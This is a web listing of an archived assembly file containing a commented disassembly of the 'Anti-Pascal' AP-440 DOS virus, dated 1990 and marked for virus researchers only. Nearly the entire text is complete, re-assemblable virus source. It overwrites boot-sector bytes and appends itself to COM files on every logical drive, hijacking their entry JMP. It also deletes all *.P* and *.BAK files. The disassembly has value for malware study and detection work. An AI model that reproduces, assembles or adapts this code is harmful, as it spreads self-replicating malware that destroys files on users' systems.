home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / AP-440.ASM < prev    next >
Assembly Source File  |  1990-07-09  |  7KB  |  284 lines

  1.     page    ,132
  2.     name    AP440
  3.     title    The 'Anti-Pascal' virus, version AP-440
  4.     .radix    16
  5.  
  6. ; ╔══════════════════════════════════════════════════════════════════════════╗
  7. ; ║  Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 ║
  8. ; ║  Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255         ║
  9. ; ║                                         ║
  10. ; ║               The 'Anti-Pascal' Virus, version AP-440               ║
  11. ; ║            Disassembled by Vesselin Bontchev, July 1990         ║
  12. ; ║                                         ║
  13. ; ║             Copyright (c) Vesselin Bontchev 1989, 1990          ║
  14. ; ║                                         ║
  15. ; ║     This listing is only to be made available to virus researchers      ║
  16. ; ║           or software writers on a need-to-know basis.          ║
  17. ; ╚══════════════════════════════════════════════════════════════════════════╝
  18.  
  19. ; The disassembly has been tested by re-assembly using MASM 5.0.
  20.  
  21. code    segment
  22.     assume    cs:code, ds:code
  23.  
  24.     org    100
  25.  
  26. v_const =    2042d
  27.  
  28. start:
  29.     jmp    v_entry
  30.     db    0CA        ; Virus signature
  31.  
  32.     db    (2048d - 9) dup (90)
  33.  
  34.     mov    ax,4C00
  35.     int    21
  36.  
  37. v_start label    byte
  38. first4    db    0E9, 0F8, 7, 90
  39. allcom    db    '*.COM', 0
  40.  
  41. mydta    label    byte
  42. reserve db    15 dup (?)
  43. attrib    db    ?
  44. time    dw    ?
  45. date    dw    ?
  46. fsize    dd    ?
  47. namez    db    14d dup (?)
  48.  
  49. allp    db    0, '????????P??'
  50. allbak    db    0, '????????BAK'
  51. maxdrv    db    ?
  52. sign    db    'ICS 89'
  53.  
  54. v_entry:
  55.     push    ax        ; Save AX & DX
  56.     push    dx
  57.  
  58.     mov    ah,19        ; Get the default drive
  59.     int    21
  60.     push    ax        ; Save it on stack
  61.     mov    ah,0E        ; Set it as default (?!)
  62.     mov    dl,al
  63.     int    21        ; Do it
  64.  
  65.     call    self        ; Determine the virus' start address
  66. self:
  67.     pop    si
  68.     sub    si,offset self-v_const
  69.  
  70. ; Save the number of logical drives in the system:
  71.  
  72.     mov    byte ptr [si+offset maxdrv-v_const],al
  73.  
  74. ; Restore the first 4 bytes of the infected program:
  75.  
  76.     mov    ax,[si+offset first4-v_const]
  77.     mov    word ptr ds:[offset start],ax
  78.     mov    ax,[si+offset first4+2-v_const]
  79.     mov    word ptr ds:[offset start+2],ax
  80.  
  81.     mov    ah,1A        ; Set new DTA
  82.     lea    dx,[si+offset mydta-v_const]
  83.     int    21        ; Do it
  84.  
  85.     pop    ax        ; Restore current drive in AL
  86.     push    ax        ; Keep it on stack
  87.  
  88.     call    inf_drive    ; Proceed with the current drive
  89.  
  90.     xor    al,al        ; For all logical drives in the system
  91. drv_lp:
  92.     call    inf_drive    ; Proceed with drive
  93.     jbe    drv_lp        ; Loop until no more drives
  94.  
  95.     pop    ax        ; Restore the saved current drive
  96.     mov    ah,0E        ; Set it as current drive
  97.     mov    dl,al
  98.     int    21        ; Do it
  99.  
  100.     mov    dx,80        ; Restore original DTA
  101.     mov    ah,1A
  102.     int    21        ; Do it
  103.  
  104.     mov    si,offset start
  105.     pop    dx        ; Restore DX & AX
  106.     pop    ax
  107.     jmp    si        ; Run the original program
  108.  
  109. inf_drive:
  110.     push    ax        ; Save the selected drive number on stack
  111.     mov    ah,0E        ; Select that drive
  112.     mov    dl,al
  113.     int    21        ; Do ti
  114.     pop    ax        ; Restore AX
  115.  
  116.     push    ax        ; Save the registers used
  117.     push    bx
  118.     push    cx
  119.     push    si        ; Save SI
  120.  
  121.     mov    cx,1        ; Read the boot sector of the drive specified
  122.     xor    dx,dx
  123.     lea    bx,[si+offset v_end-v_const]
  124.     push    ax        ; Save AX
  125.     push    bx        ; Save BX, CX & DX also
  126.     push    cx
  127.     push    dx
  128.     int    25        ; Do read
  129.     pop    dx        ; Clear the stack
  130.     pop    dx        ; Restore saved DX, CX & BX
  131.     pop    cx
  132.     pop    bx
  133.     jc    bad_drv     ; Exit on error
  134.  
  135.     inc    byte ptr [bx]    ; Increment the first byte (?!)
  136.     cmp    byte ptr [bx+1],6F    ; Second byte == 111 (?!)
  137.     jne    wr_drive    ; Write the new values if not
  138.  
  139. bad_drv:
  140.     pop    ax        ; Restore AX
  141.     pop    si        ; Restore SI
  142. drv_xit:
  143.     pop    cx        ; Restore used registers
  144.     pop    bx
  145.     pop    ax
  146.  
  147.     inc    al        ; Go to next drive number
  148.     cmp    al,[si+offset maxdrv-v_const]    ; See if there are more drives
  149.     ret            ; Exit
  150.  
  151. wr_drive:
  152.     pop    ax        ; Restore drive number in AL
  153.     int    26        ; Do write
  154.     pop    ax        ; Clear the stack
  155.     pop    si        ; Restore Si
  156.     jc    drv_xit     ; Exit on error
  157.  
  158. ; Find first COM file on the current directory of the selected drive:
  159.  
  160.     mov    ah,4E
  161.     xor    cx,cx        ; Normal files only
  162.     lea    dx,[si+offset allcom-v_const]    ; File mask
  163. next:
  164.     int    21        ; Do find
  165.     jc    no_more     ; Quit search if no more such files
  166.     lea    dx,[si+offset namez-v_const]    ; Get file name found
  167.     call    infect        ; Infect that file
  168.     mov    ah,4F        ; Prepare for FindNext
  169.     jc    next        ; If infection not successful, go to next file
  170.     jmp    drv_xit     ; Otherwise quit
  171.  
  172. no_more:
  173.     lea    di,[si+offset v_end-v_const]
  174.     cmp    byte ptr [di],'Z'
  175.     jb    drv_xit
  176.  
  177.     mov    ah,13        ; Delete all *.P* files in that dir
  178.     lea    dx,[si+offset allp-v_const]
  179.     int    21        ; Do it
  180.     cmp    al,-1
  181.     je    drv_xit     ; Exit on error
  182.  
  183.     mov    ah,13        ; Delete all *.BAK files too
  184.     lea    dx,[si+offset allbak-v_const]
  185.     int    21        ; Do it
  186.  
  187.     jmp    drv_xit     ; Done. Exit
  188.  
  189. namaddr dw    ?        ; Address of the file name buffer
  190.  
  191. infect:
  192.     mov    [si+offset namaddr-v_const],dx    ; Save file name address
  193.  
  194.     mov    ax,4301     ; Reset all file attributes
  195.     xor    cx,cx
  196.     int    21        ; Do it
  197.     jnc    inf_cont    ; Continue if all OK
  198. inf_xit:
  199.     ret            ; Otherwise exit
  200.  
  201. inf_cont:
  202.     mov    ax,3D02     ; Open file for both reading and writing
  203.     int    21
  204.     jc    inf_xit     ; Exit on arror
  205.     mov    bx,ax        ; Save file handle in BX
  206.  
  207.     mov    cx,4        ; Read the first 4 bytes of the file
  208.     mov    ah,3F
  209.     lea    di,[si+offset first4-v_const]    ; Save them in first4
  210.     mov    dx,di
  211.     int    21        ; Do it
  212.     jc    quit        ; Exit on error
  213.  
  214.     cmp    byte ptr [di+3],0CA    ; File already infected?
  215.     stc            ; Set CF to indicate it
  216.     jz    quit        ; Don't touch this file if so
  217.  
  218.     mov    cx,[si+offset fsize-v_const]
  219.     cmp    cx,2048d    ; Check if file size >= 2048 bytes
  220.     jb    quit        ; Exit if not
  221.     cmp    cx,64000d    ; Check if file size <= 64000 bytes
  222.     stc            ; Set CF to indicate it
  223.     ja    quit        ; Exit if not
  224.  
  225.     xor    cx,cx        ; Seek to file end
  226.     xor    dx,dx
  227.     mov    ax,4202
  228.     int    21        ; Do it
  229.     push    ax        ; Save file size on stack
  230.     jc    quit        ; Exit on error
  231.  
  232. ; Write the virus body after the end of file:
  233.  
  234.     mov    cx,v_end-v_start
  235.     nop
  236.     lea    dx,[si+offset v_start-v_const]
  237.     mov    ah,40
  238.     int    21        ; Do it
  239.     jc    quit        ; Exit on error
  240.     pop    ax        ; Restore file size in AX
  241.  
  242. ; Form a new address for the first JMP instruction in AX:
  243.  
  244.     add    ax,v_entry-v_start-3
  245.     mov    byte ptr [di],0E9    ; JMP opcode
  246.     mov    [di+1],ax
  247.     mov    byte ptr [di+3],0CA    ; Set the "file infected" sign
  248.  
  249.     xor    cx,cx        ; Seek to file beginning
  250.     xor    dx,dx
  251.     mov    ax,4200
  252.     int    21        ; Do it
  253.     jc    quit        ; Exit on error
  254.  
  255.     mov    cx,4        ; Write the new first 4 bytes of the file
  256.     mov    dx,di
  257.     mov    ah,40
  258.     int    21        ; Do it
  259.  
  260. quit:
  261.     pushf            ; Save flags
  262.  
  263.     mov    ax,5701     ; Set file date & time
  264.     mov    cx,[si+offset time-v_const]    ; Get time from mydta
  265.     mov    dx,[si+offset date-v_const]    ; Get date from mydta
  266.     int    21        ; Do it
  267.  
  268.     mov    ah,3E        ; Close the file
  269.     int    21
  270.  
  271.     mov    ax,4301     ; Set file attributes
  272.     mov    cl,[si+offset attrib-v_const]    ; Get them from mydta
  273.     xor    ch,ch
  274.     mov    dx,[si+offset namaddr-v_const]    ; Point to file name
  275.     int    21        ; Do it
  276.  
  277.     popf            ; Restore flags
  278.     ret
  279.  
  280. v_end    equ    $
  281.  
  282. code    ends
  283.     end    start
  284.